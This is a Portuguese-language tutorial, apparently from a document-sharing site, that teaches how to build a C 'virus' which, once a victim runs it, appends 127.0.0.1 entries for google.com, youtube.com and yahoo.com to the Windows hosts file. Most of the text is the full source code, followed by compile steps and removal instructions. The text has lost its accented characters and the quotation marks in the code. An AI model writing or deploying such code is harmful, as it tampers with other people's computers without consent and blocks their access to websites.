Você está na página 1de 4

Criar virus para bloquear websites

A maioria de ns esto familiarizados com o vrus que utilizado para bloquear o Orkut e Youtube. Se voc estiver curioso sobre como criar um tal vrus em seu prprio website, ento voc est no local ideal. Aqui vou-lhe ensinar como criar um simples vrus que bloqueia websites. E como j habitual, vou usar a minha favorita linguagem de programao "C" para criar este site bloqueando virus. Vou dar uma breve introduo sobre este vrus, antes de eu saltar para a parte tcnica.

Este vrus foi criado exclusivamente em 'C'. Ento, algum com um conhecimento bsico de C ser capaz de compreender o funcionamento do virus. Este vrus tem a necessidade de ser carregado uma nica vez pela vitima. Assim que a vitima clica no ficheiro, uma lista de sites especificado no programada criada. A vtima nunca ser capaz de navegar os sites a no ser que reinstale o sistema. Este bloqueio no se limita ao IE ou Firefox. Uma vez bloqueado, o site no vai aparecer em qualquer navegador.

Aqui est o cdigo fonte do vrus. #include<stdio.h> #include<dos.h> #include<dir.h>

char site_list[6][30]={ google.com, www.google.com, youtube.com, www.youtube.com, yahoo.com, www.yahoo.com }; char ip[12]=127.0.0.1; FILE *target;

int find_root(void); void block_site(void);

int find_root() {

int done; struct ffblk ffblk;//File block structure

done=findfirst(C:\\windows\\system32\\drivers\\etc\\hosts,&ffblk,FA_DIREC); /*to determine the root drive*/ if(done==0) { target=fopen(C:\\windows\\system32\\drivers\\etc\\hosts,r+); /*to open the file*/ return 1; }

done=findfirst(D:\\windows\\system32\\drivers\\etc\\hosts,&ffblk,FA_DIREC); /*to determine the root drive*/ if(done==0) { target=fopen(D:\\windows\\system32\\drivers\\etc\\hosts,r+); /*to open the file*/ return 1; }

done=findfirst(E:\\windows\\system32\\drivers\\etc\\hosts,&ffblk,FA_DIREC); /*to determine the root drive*/ if(done==0) { target=fopen(E:\\windows\\system32\\drivers\\etc\\hosts,r+); /*to open the file*/ return 1; }

done=findfirst(F:\\windows\\system32\\drivers\\etc\\hosts,&ffblk,FA_DIREC); /*to determine the root drive*/

if(done==0) { target=fopen(F:\\windows\\system32\\drivers\\etc\\hosts,r+); /*to open the file*/ return 1; }

else return 0; }

void block_site() { int i; fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,\n); for(i=0;i<6;i++) fprintf(target,%s\t%s\n,ip,site_list[i]); fclose(target); }

void main() { int success=0; success=find_root(); if(success) block_site(); }

Como compila?

1. Baixe o cdigo fonte junto com a compilao do mdulo (vrus) aqui.

2. Compile o cdigo fonte usando qualquer compilador C / C + + .

3. Para testar, execute o mdulo compilado. Ele ir bloquear os sites que est listado no cdigo fonte.

4. Depois de executar o arquivo block_Site.exe, reinicie o seu navegador. A seguir, digite a URL do site bloqueado e voc ver o navegador mostrando erro "Pgina no exibida".

4. Para remover o vrus faa o seguinte em executar do windows. % windir% \ system32 \ drivers \ etc

5. L, abra o arquivo chamado "hosts", utilizando o notepad. Abrindo o arquivo voc vai ver algo como isso

127.0.0.1 --------- google.com

6. Eliminar todas as entradas que contenham os nomes de sites bloqueados

Você também pode gostar